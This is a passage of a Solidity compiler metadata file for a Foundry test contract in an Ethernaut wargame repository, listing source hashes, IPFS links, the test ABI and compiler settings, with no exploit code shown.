bfbf54\",\"dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp\"]},\"lib/forge-std/src/StdMath.sol\":{\"keccak256\":\"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92\",\"dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC\"]},\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/StdStyle.sol\":{\"keccak256\":\"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8\",\"dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK\"]},\"lib/forge-std/src/StdToml.sol\":{\"keccak256\":\"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d\",\"dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy\"]},\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Test.sol\":{\"keccak256\":\"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e\",\"dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/attacks/ShopAttack.sol\":{\"keccak256\":\"0xf2b179a07d508051858d64cefb99084b12abbc8b5e7c6960e288fc0394399c3f\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6814949dcfab56fbb10c65fd8423fe09805292b18421e66c92f2f5bee9db0068\",\"dweb:/ipfs/Qmetff9RnpHx3gpvjW41Vt6WhyCrWS4J4LBB8pdzMrv2Ys\"]},\"src/levels/Shop.sol\":{\"keccak256\":\"0xd500cab3a2923fc2668d4cc3e42ad05c398fe338ba29f3761f5a44f98eb87db0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a15d4d221500fb33d4f7f0da5d81f978f755cfc61bb71840063a9f64906c6337\",\"dweb:/ipfs/QmRH8dNjPDvQe8Pbj1HWJqTSJnudrkmBZ9dWKSi7UozRtB\"]},\"src/levels/ShopFactory.sol\":{\"keccak256\":\"0x37c5a01016de624ea2590933c25a66c10166f2e81c289254da02f8f4c27eb412\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2b0624ff20a79be37544ee2bd9aef94ce8df9fed16059a43bb6504a8176dad29\",\"dweb:/ipfs/Qma6iS87VETpgmQxUSiDukaiWeXpXzCvWrsbV6QT8Jm6WG\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/Shop.t.sol\":{\"keccak256\":\"0x04825ebe00cb40770bc060ad8eecfe1cc127491f3fa029c150ed6f761ea54de2\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://0fbe352f7cff010f5aeda84b491e5f1bd9877e28ac32571ddf7a5c8b5c732886\",\"dweb:/ipfs/QmZ125MgGkDGgXbbNVo7asPWTRhXXqKJkwJKytNUMTRVZW\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/Shop.t.sol":"TestShop"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR 